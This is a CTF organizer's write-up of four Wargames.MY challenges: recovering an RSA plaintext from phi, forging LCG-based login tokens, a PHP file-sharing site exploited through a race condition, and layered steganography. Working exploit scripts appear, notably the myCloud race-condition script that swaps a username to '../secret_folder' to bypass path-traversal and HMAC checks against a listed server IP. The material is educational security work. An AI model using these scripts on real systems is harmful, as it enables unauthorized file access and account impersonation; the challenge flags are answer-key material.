We organized Wargames.MY CTF last weekend and it ended well, congrats to all winners!
Here are some of my challenges I created:
N-less RSA
Endless RSA?
Given a python source code:
from Crypto.Util.number import getStrongPrime,bytes_to_long
from gmpy2 import next_prime
from secret import flag
def generate_secure_primes():
p = getStrongPrime(1024)
q = int(next_prime(p*13-37*0xcafebabe))
return p,q
# Generate two large and secure prime numbers
p,q = generate_secure_primes()
n = p*q
e = 0x10001
phi = (p-1)*(q-1)
c = pow(bytes_to_long(flag),e,n)
print(f"{phi=}")
print(f"{e=}")
print(f"{c=}")
# Output
# phi=340577739943302989719266782993735388309601832841016828686908999285012058530245805484748627329704139660173847425945160209180457321640204169512394827638011632306948785371994403007162635069343890640834477848338513291328321869076466503121338131643337897699133626182018407919166459719722436289514139437666592605970785141028842985108396221727683676279586155612945405799488550847950427003696307451671161762595060053112199628695991211895821814191763549926078643283870094478487353620765318396817109504580775042655552744298269080426470735712833027091210437312338074255871034468366218998780550658136080613292844182216509397934480
# e=65537
# c=42363396533514892337794168740335890147978814270714150292304680028514711494019233652215720372759517148247019429253856607405178460072049996513931921948067945946086278782910016494966199807084840772350780861440737097778578207929043800432279437709296060384506082883401105820800844187947410153745248466533960754243807208804084908637481187348394987532434982032302570226378255458486161579167482667571132674473067323283939026297508548130085016660893371076973067425309491443342096329853486075971866389182944671697660246503465740169215121081002338163263904954365965203570590704089906222868145676419033148652705335290006075758484
As you can see, it is a RSA question and we are given phi
,e
and c
. But without n
so we cannot decrypt the ciphertext c
with the phi
alone
Math
We know \(phi = (p-1)(q-1)\) and also how p and q is generated:
def generate_secure_primes():
p = getStrongPrime(1024)
q = int(next_prime(p*13-37*0xcafebabe))
return p,q
We know that q
should be close to \(13p - 37(0xcafebabe_{16})\)
So we can turn it into math equation where \(c\) is a constant value: \[ q = 13p - 37(0xcafebabe_{16}) + c \]
We can brute force the value c
and try to get the root of the equation where \(phi = (p-1)(13p - 37(0xcafebabe_{16}) + c -1)\)
By using sage, we can brute force the value of c
find the roots of equation and check is it integer ZZ
:
# Use sage to solve the equation for phi and q=p*13-37*0xcafebabe+c
p=var('p')
phi=340577739943302989719266782993735388309601832841016828686908999285012058530245805484748627329704139660173847425945160209180457321640204169512394827638011632306948785371994403007162635069343890640834477848338513291328321869076466503121338131643337897699133626182018407919166459719722436289514139437666592605970785141028842985108396221727683676279586155612945405799488550847950427003696307451671161762595060053112199628695991211895821814191763549926078643283870094478487353620765318396817109504580775042655552744298269080426470735712833027091210437312338074255871034468366218998780550658136080613292844182216509397934480
# Brute force the number c
for c in range(0,1000,2):
print(c)
for sol in solve([(p-1)*(p*13-37*0xcafebabe+c-1)==phi],p,solution_dict=True):
# found p if solution is integer
if sol[p] in ZZ:
print(sol[p])
exit()
Found p
just in 2 minutes!
time sage solve.sage
161858851126363750131252278443447168260852575582585451640814432234372639248575999813974282205976906890574920486285708765150639612195410229043083289561691094157966293503325568381598667787734900472194008968504777213838234481951932391653763314418452086665006225863274324640443184430553056738832834747049214763773
real 2m9.049s
user 3m42.533s
sys 0m11.297s
Then we can decrypt the ciphertext by using the p
we found (or you can calculate q
and calculate n
):
from Crypto.Util.number import *
p = 161858851126363750131252278443447168260852575582585451640814432234372639248575999813974282205976906890574920486285708765150639612195410229043083289561691094157966293503325568381598667787734900472194008968504777213838234481951932391653763314418452086665006225863274324640443184430553056738832834747049214763773
phi = 340577739943302989719266782993735388309601832841016828686908999285012058530245805484748627329704139660173847425945160209180457321640204169512394827638011632306948785371994403007162635069343890640834477848338513291328321869076466503121338131643337897699133626182018407919166459719722436289514139437666592605970785141028842985108396221727683676279586155612945405799488550847950427003696307451671161762595060053112199628695991211895821814191763549926078643283870094478487353620765318396817109504580775042655552744298269080426470735712833027091210437312338074255871034468366218998780550658136080613292844182216509397934480
e = 65537
c = 42363396533514892337794168740335890147978814270714150292304680028514711494019233652215720372759517148247019429253856607405178460072049996513931921948067945946086278782910016494966199807084840772350780861440737097778578207929043800432279437709296060384506082883401105820800844187947410153745248466533960754243807208804084908637481187348394987532434982032302570226378255458486161579167482667571132674473067323283939026297508548130085016660893371076973067425309491443342096329853486075971866389182944671697660246503465740169215121081002338163263904954365965203570590704089906222868145676419033148652705335290006075758484
d = pow(e,-1,phi)
print(long_to_bytes(pow(c,d,p)))
# b'wgmy{a9722440198c2abad490478875be2815}'
Flag
wgmy{a9722440198c2abad490478875be2815}
Hohoho 2
This challenge actually is 2nd version of my previous challenge Hohoho
at WGMY 2021, and is inspired by a challenge called luckyguess in corCTF 2022
Source code: hohoho2.zip
Basically we need to forge Santa Claus
’s token to view the wishes (flag is inside), but we cannot register any name that contains Santa Claus
LCG
Lets see how it generate the token:
def verifyToken(self):
x = bytes_to_long(self.name.encode(errors="surrogateescape"))
# LCG fast skip implementation
# is equivalent to the following code
# for _ in range(n):
# x = (a*x + c) % m
x = ((pow(a, n, (a-1)*m) - 1) // (a-1) * c + pow(a, n, m) * x) % m
return hex(x)[2:] == self.mac
Basically I’m implementing LCG but with iteration n
, the fast skipping calculation was refer to this link
Actually it’s the same code as below (but it will require very long time to calculate it if not using the fast skipping calculation):
for _ in range(n):
x = (a*x + c) % m
Solving
We know a
, c
and m
but not n
, so we have to find a way to forge the token without knowing the n
value
Let say our name is \(x\), and token is \(T\) the LCG equation is like this \[T \equiv ax+c \mod m\]
What if we add \(m\) to our name value? \[a(x+0)+c \equiv a(x+m)+c \mod m\] \[T \equiv ax+c \mod m\]
As you can see, \(m \mod m\) is 0 so it will be cancelled out, which means our name add any amount of \(m\) will not affect the token value!!
So how we can abuse this to forge the santa’s token? It is possible that when we add certain amount of \(m\) to our name it could contains Santa Claus
?
We can construct an equation for it to solve this question, Santa Claus
total is 11 bytes so we can put modular \(2^{88}\) so that it will find \(k\) amount of \(m\) we need to add to our name!
\[“Santa Claus” \equiv km+x \mod 2^{88}\] \[“Santa Claus”-x \equiv km \mod 2^{88}\] \[(“Santa Claus”-x)m^{-1} \equiv k \mod 2^{88}\]
Let’s wrote a python script to calculate this, if we register as test
:
from Crypto.Util.number import *
m = 0xb00ce3d162f598b408e9a0f64b815b2f
k = (bytes_to_long(b"Santa Claus")-bytes_to_long(b"test"))*pow(m, -1,2**88)%2**88
name = long_to_bytes(bytes_to_long(b"test")+k*m)
print(name)
# b'\x1dxn\xe3\x1e8\x84\x1cAE-Z\xbb\xd9\x86jSanta Claus'
It calculated the name \x1dxn\xe3\x1e8\x84\x1cAE-Z\xbb\xd9\x86jSanta Claus
is the same token as the name test
!!
Then we can use pwntools to help us register as test
and login as \x1dxn\xe3\x1e8\x84\x1cAE-Z\xbb\xd9\x86jSanta Claus
that contains binary data, then we just input the token given when register as test
:
from Crypto.Util.number import *
from pwn import *
context.log_level = "debug"
p = process(["python3","server.py"])
p.sendlineafter("option: ",'1')
p.sendlineafter("name: ","test")
p.sendlineafter("option: ",'2')
p.sendlineafter("name: ","\x1dxn\xe3\x1e8\x84\x1cAE-Z\xbb\xd9\x86jSanta Claus")
p.interactive()
Output:
[DEBUG] Received 0x8e bytes:
b'Use this token to login: 1cdb88488b96ee546a351b2c4d7dd867\n'
b'\n'
b'1. Register\n'
b'2. Login\n'
b'3. Make a wish\n'
b'4. Wishlist (Santa Only)\n'
b'5. Exit\n'
b'Enter option: '
[DEBUG] Sent 0x2 bytes:
b'2\n'
solve.py:8: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter("name: ","\x1dxn\xe3\x1e8\x84\x1cAE-Z\xbb\xd9\x86jSanta Claus")
[DEBUG] Received 0x11 bytes:
b'Enter your name: '
[DEBUG] Sent 0x1c bytes:
00000000 1d 78 6e e3 1e 38 84 1c 41 45 2d 5a bb d9 86 6a │·xn·│·8··│AE-Z│···j│
00000010 53 61 6e 74 61 20 43 6c 61 75 73 0a │Sant│a Cl│aus·│
0000001c
[*] Switching to interactive mode
[DEBUG] Received 0x12 bytes:
b'Enter your token: '
Enter your token: $ 1cdb88488b96ee546a351b2c4d7dd867
[DEBUG] Sent 0x21 bytes:
b'1cdb88488b96ee546a351b2c4d7dd867\n'
[DEBUG] Received 0x9f bytes:
00000000 4c 6f 67 69 6e 20 73 75 63 63 65 73 73 66 75 6c │Logi│n su│cces│sful│
00000010 6c 79 20 61 73 20 1d 78 6e e3 1e 38 84 1c 41 45 │ly a│s ·x│n··8│··AE│
00000020 2d 5a bb d9 86 6a 53 61 6e 74 61 20 43 6c 61 75 │-Z··│·jSa│nta │Clau│
00000030 73 0a 4e 6f 77 20 79 6f 75 20 63 61 6e 20 6d 61 │s·No│w yo│u ca│n ma│
00000040 6b 65 20 61 20 77 69 73 68 21 0a 0a 31 2e 20 52 │ke a│ wis│h!··│1. R│
00000050 65 67 69 73 74 65 72 0a 32 2e 20 4c 6f 67 69 6e │egis│ter·│2. L│ogin│
00000060 0a 33 2e 20 4d 61 6b 65 20 61 20 77 69 73 68 0a │·3. │Make│ a w│ish·│
00000070 34 2e 20 57 69 73 68 6c 69 73 74 20 28 53 61 6e │4. W│ishl│ist │(San│
00000080 74 61 20 4f 6e 6c 79 29 0a 35 2e 20 45 78 69 74 │ta O│nly)│·5. │Exit│
00000090 0a 45 6e 74 65 72 20 6f 70 74 69 6f 6e 3a 20 │·Ent│er o│ptio│n: │
0000009f
Login successfully as \x1dn\xe38\x84\x1cE-Z\xbbنjSanta Claus
Now you can make a wish!
1. Register
2. Login
3. Make a wish
4. Wishlist (Santa Only)
5. Exit
Enter option: $ 4
[DEBUG] Sent 0x2 bytes:
b'4\n'
[DEBUG] Received 0xb3 bytes:
b'Wishes:\n'
b'Santa Claus: Merry Christmas! Flag: wgmy{6bd7f862cbfa8b802a63b09979d00ee6}\n'
b'test: tesat\n'
b'\n'
b'1. Register\n'
b'2. Login\n'
b'3. Make a wish\n'
b'4. Wishlist (Santa Only)\n'
b'5. Exit\n'
b'Enter option: '
Wishes:
Santa Claus: Merry Christmas! Flag: wgmy{6bd7f862cbfa8b802a63b09979d00ee6}
Flag
wgmy{6bd7f862cbfa8b802a63b09979d00ee6}
Hohoho 2 Continue
Source code: hohoho2_continue.zip
The continue version of previous challenge, the differences is removed the registration function means we cannot get the token of any user! Previous method is not working anymore, so how we forge the token without knowing the token?
Bad seed
The registration is disabled, but we still can login!
LCG has a bad seed value which is \((1-a)^{-1} \cdot c \mod m\)
We just need to solve the equation \(x=ax+c\) in terms of \(x\):
\[x=ax+c\] \[x-ax=c\] \[(1-a)x=c\] \[x=\frac{c}{1-a}\]
Reference: http://koclab.cs.ucsb.edu/teaching/cren/docx/e03lcg.pdf
So if we input \(\frac{c}{1-a}\) as \(x\) we will get the same value as token, regardless how big the value of n
!! Then we can use the same method previously to calculate the name that contains Santa Claus
:
from Crypto.Util.number import *
m = 0xb00ce3d162f598b408e9a0f64b815b2f
a = 0xaaa87c7c30adc1dcd06573702b126d0d
c = 0xcaacf9ebce1cdf5649126bc06e69a5bb
x = pow(1-a,-1,m)*c
k = (bytes_to_long(b"Santa Claus")-x)*pow(m, -1,2**88)%2**88
token = hex(x%m)[2:]
x = x+k*m
print(token)
print(long_to_bytes(x))
# 1327b0e270df8c87fc0e6e7be6bdd2e1
# b'\x16O?\xf4\x9a8,\xe9\xde\xc7%c\xde\x06h\xf7q\xc1\xc6e\x8aSanta Claus'
Let the pwntools login as \x16O?\xf4\x9a8,\xe9\xde\xc7%c\xde\x06h\xf7q\xc1\xc6e\x8aSanta Claus
from Crypto.Util.number import *
from pwn import *
m = 0xb00ce3d162f598b408e9a0f64b815b2f
a = 0xaaa87c7c30adc1dcd06573702b126d0d
c = 0xcaacf9ebce1cdf5649126bc06e69a5bb
p = process(["python3","server.py"])
p.sendlineafter("option: ",'2')
p.sendlineafter("name: ",b'\x16O?\xf4\x9a8,\xe9\xde\xc7%c\xde\x06h\xf7q\xc1\xc6e\x8aSanta Claus')
p.interactive()
Output:
[*] Switching to interactive mode
Enter your token: $ 1327b0e270df8c87fc0e6e7be6bdd2e1
Login successfully as \x16?\xf4\x9a8,\xe9\xde\xc7%c\xdeh\xf7q\xc1\xc6e\x8aSanta Claus
Now you can make a wish!
1. Register (Disabled)
2. Login
3. Make a wish
4. Wishlist (Santa Only)
5. Exit
Enter option: $ 4
Wishes:
Santa Claus: Merry Christmas! Flag: wgmy{de112c46f10460e45cc4bcd76abd804a}
myCloud
Source code (with real flag): mycloud.zip
Source code are given, it is a website that can let user to upload their files into the server and user can download it with a link given.
The flag is located at /secret_folder/flag-xxx.txt
which xxx
is a random hash, means we need to exploit a vulnerability in the website to know the flag file name and read the flag
Race condition
Notice something is odd on line 102 to line 119 in drive.php
?
$path = realpath("/drive/".getUsername());
// Prevent directory traversal
if(strpos($path, "/drive/") !== 0){
die("<h5 class='text-danger'>HACKER ALERT!!</h5>");
}
// List all files in the user directory
$basepath = realpath("/drive/".getUsername());
$files = array_diff(scandir($basepath), array('..', '.'));
foreach ($files as $key => $value) {
$h = hash_hmac('sha256', $basepath.'/'.$value , $_SESSION['SECRET']);
echo "<tr>";
echo "<td><a href='download.php?file=".urlencode($value)."&hash=".urlencode($h)."'>".htmlentities($value)."</a></td>";
echo "<td>".htmlentities(humanFileSize(filesize($basepath.'/'.$value)))."</td>";
echo "<td>".htmlentities(date("F d Y H:i:s.",filemtime($basepath.'/'.$value)))."</td>";
echo "<td><a href=\"javascript:alert('Coming Soon!!')\">🗑️</a></td>";
echo "</tr>";
}
It assign the path twice that was appended with getUsername
function:
$path = realpath("/drive/".getUsername());
...
$basepath = realpath("/drive/".getUsername());
What if we change our username to other folders after the if statement? It will bypass the directory traversal checking and we can use it to leak the flag file name in /secret_folder
!! Now we need to find where to change our username
We can change our username using settings.php
, notice I put disabled for username to confuse the player lol
<?php
if(isset($_POST['username']) && isset($_POST['current_password']) && isset($_POST['new_password'])){
if($_POST['current_password'] === $password){
$sql = "UPDATE users SET username = ?, password = ? WHERE id = ?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("ssi", $_POST['username'],$_POST['new_password'],$_SESSION['user_id']);
$result = $stmt->execute();
if($result){
echo "<h5 class='text-success'>Updated successfully!</h5>";
}else{
echo "<h5 class='text-danger'>Error!!</h5>";
}
}else{
echo "<h5 class='text-danger'>Wrong password!</h5>";
}
}
?>
So our plan is to leak the file name in /secret_folder
by using race condition, so we need to write a script to do that
import requests
import multiprocessing
import re
# run docker in cloud server (race condition may require more cpu resources)
URL = "http://167.71.197.192:1337"
s1 = requests.Session()
data = {
"username":"test",
"password":"test"
}
s1.post(URL+"/register.php",data=data)
s1.post(URL+"/login.php",data=data)
# require two session to exploit
s2 = requests.Session()
r = s2.post(URL+"/login.php",data=data)
def changeUsername():
d = {
"username":"test",
"current_password":"test",
"new_password":"test"
}
while True:
d["username"] = "test"
s1.post(URL+"/settings.php",data=d)
d["username"] = "../secret_folder"
s1.post(URL+"/settings.php",data=d)
# Start a thread that will constantly change username
t1 = multiprocessing.Process(target=changeUsername, args=())
t1.start()
# The main thread will goto drive.php to see if the file name is leaked
while True:
r = s2.get(URL+"/drive.php")
if "flag" in r.text:
result = re.findall("(flag-[a-f0-9]+\.txt)", r.text)
file_name = result[0]
break
print("File name:"+file_name)
t1.terminate()
# File name:flag-bf49e780adf2bdfd5400e5bc1c93a949.txt
Yay! We get the flag file name, now we need to read the flag
When you check the download.php
also will notice the same thing but it protect with HMAC hash:
if(isset($_GET['file']) && isset($_GET['hash'])){
$path = realpath("/drive/".getUsername()."/".$_GET['file']);
// Double protection against directory traversal
if(strpos($path, "/drive") !== 0 || hash_hmac('sha256', $path , $_SESSION['SECRET']) !== $_GET['hash']){
die("HACKER ALERT!!");
}
$filepath = realpath("/drive/".getUsername()."/".$_GET['file']);
if (file_exists($filepath)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($filepath) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));
flush(); // Flush system output buffer
readfile($filepath);
die();
} else {
http_response_code(404);
die();
}
}
In order to exploit this we need to upload the flag file name in our drive first to get the hash, because we can use it to bypass the HMAC hash checking and read the flag by changing our username to ../secret_folder
!!
import requests
import multiprocessing
import re
# run docker in cloud server (race condition may require more cpu resources)
URL = "http://167.71.197.192:1337"
s1 = requests.Session()
# may need to change username to ../secret_folder
data = {
"username":"test",
"password":"test"
}
s1.post(URL+"/register.php",data=data)
s1.post(URL+"/login.php",data=data)
# require two session to exploit
s2 = requests.Session()
r = s2.post(URL+"/login.php",data=data)
def changeUsername():
d = {
"username":"test",
"current_password":"test",
"new_password":"test"
}
while True:
d["username"] = "test"
s1.post(URL+"/settings.php",data=d)
d["username"] = "../secret_folder"
s1.post(URL+"/settings.php",data=d)
# Start a thread that will constantly change username
t1 = multiprocessing.Process(target=changeUsername, args=())
t1.start()
# The main thread will goto drive.php to see if the file name is leaked
while True:
r = s2.get(URL+"/drive.php")
if "flag" in r.text:
result = re.findall("(flag-[a-f0-9]+\.txt)", r.text)
file_name = result[0]
break
print("File name:"+file_name)
t1.terminate()
# change username back to test
d = {
"username":"test",
"current_password":"test",
"new_password":"test"
}
s1.post(URL+"/settings.php",data=d)
open(file_name,'wb').write(b"test")
# upload the flag file name into our drive
r = s1.post(URL+"/drive.php",files={'fileToUpload': open(file_name,'rb')},data={"submit":""})
result = re.findall("hash\=([a-f0-9]+)", r.text)
# get the hash
h = result[0]
print("hash: "+h)
# Start a thread that will constantly change username
t1 = multiprocessing.Process(target=changeUsername, args=())
t1.start()
# Main thread will download the file using the hash and flag file name
# If found flag format it will print the flag
while True:
r = s2.get(URL+"/download.php?file="+file_name+"&hash="+h)
if "wgmy{" in r.text:
result = re.findall("(wgmy{.*})", r.text)
print("Flag: "+result[0])
break
t1.terminate()
Output:
File name:flag-bf49e780adf2bdfd5400e5bc1c93a949.txt
hash: a7eb002e97d9fe12e0efdf3202fbd7f219389b9cfcdad3ed875e1a5162722663
Flag: wgmy{0a8d216f13c4308ed1b5d17fc99384d2}
Flag
wgmy{0a8d216f13c4308ed1b5d17fc99384d2}
Sayur
This challenge actually was inspired by previous china ctf challenge called Git gud
, and I think it was interesting so I added in this year WGMY
LSB Steganography
Running zsteg -a sayur.png
, you can see got many words in b2,rgba
channel that contains sayur
, kemudian
, banyak
, latih
zsteg -a sayur.png
b1,b,msb,xy .. text: "$<====\tO"
b2,r,lsb,xy .. text: "aUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU"
b2,g,msb,xy .. text: "uQWQWQWQW"
b2,a,lsb,xy .. text: "}QmQmQm[TZe"
b2,rgba,lsb,xy .. text: "KemudianKemudianSayurSayurKemudianLatihSayurBanyakKemudianBanyakSayurKemudianKemudianBanyakSayurLatihKemudianLatihKemudianSayurKemudianBanyakBanyakKemudianKemudianBanyakSayurLatihKemudianBanyakKemudianKemudianKemudianSayurLatihKemudianKemudianBanyakSayu"
Extract the whole string into a file
zsteg -E "b2,rgba,lsb,xy" sayur.png | strings > result
You can see it contains the 4 words in some sequence, so it may hidding some messages
KemudianKemudianSayurSayurKemudianLatihSayurBanyakKemudianBanyakSayurKemudianKemudianBanyakSayurLatihKemudianLatihKemudianSayurKemudianBanyakBanyakKemudianKemudianBanyakSayurLatihKemudianBanyakKemudianKemudianKemudianSayurLatihKemudianKemudianBanyakSayurKemudianKemudianBanyakLatihBanyakKemudianLatihBanyakKemudianKemudianKemudianKemudianSayurKemudianBanyakBanyakSayurKemudianBanyakKemudianKemudianKemudianBanyakLatihBanyakKemudianKemudianKemudianSay...
Solving
Actually it is using base4 to encode the message:
Sayur -> 0
Kemudian -> 1
Lebih -> 2
Latih -> 3
Is the same sequence from the challenge description, now we need to write a script to decode the message
from Crypto.Util.number import *
text = open("result",'rb').readline()
text = text.decode()
text = text.replace("Sayur", "0").replace("Kemudian", "1").replace("Banyak", "2").replace("Latih", "3")
text = long_to_bytes(int(text,4)).decode()
print(text)
# PracticeManyThenThenManyPracticeVegetableVegetableManyPracticeVegetableThenPracticeManyThenPracticeManyPracticeManyPracticeManyVegetableVegetablePracticePracticeManyThenThenManyPracticeVegetableVegetable...
Now it print different text just the same words translated to english, we just need to decode another layer with different words with the same order:
from Crypto.Util.number import *
text = open("result",'rb').readline()
text = text.decode()
text = text.replace("Sayur", "0").replace("Kemudian", "1").replace("Banyak", "2").replace("Latih", "3")
text = long_to_bytes(int(text,4)).decode()
text = text.replace("Vegetable", "0").replace("Then", "1").replace("Many", "2").replace("Practice", "3")
text = long_to_bytes(int(text,4)).decode()
print(text)
# 就练就练就多就练就多练就就练多就就练多练菜练菜菜就多菜练就多就就就多菜练菜练菜就菜练菜菜菜练就多菜练菜多菜练多菜菜练菜菜菜练多就就多菜就就多就菜菜练就菜就多就就菜练菜练菜练多就菜练菜练就多就多菜练菜菜就多菜就就多菜练就多菜多就多就多就多菜就菜练多菜菜练多就菜练就就就多就多菜练菜多菜练多就就多就多就练练就
Now it print chinese words also the same words, we also need to decode it again:
from Crypto.Util.number import *
text = open("result",'rb').readline()
text = text.decode()
text = text.replace("Sayur", "0").replace("Kemudian", "1").replace("Banyak", "2").replace("Latih", "3")
text = long_to_bytes(int(text,4)).decode()
text = text.replace("Vegetable", "0").replace("Then", "1").replace("Many", "2").replace("Practice", "3")
text = long_to_bytes(int(text,4)).decode()
text = text.replace("菜", "0").replace("就", "1").replace("多", "2").replace("练", "3")
text = long_to_bytes(int(text,4)).decode()
print(text)
# wgmy{0cec1062809ad4e393f0acbfa895f29f}
And there is the flag!
Flag
wgmy{0cec1062809ad4e393f0acbfa895f29f}
Side note: 菜就多练 in chinese actually means noob then practice more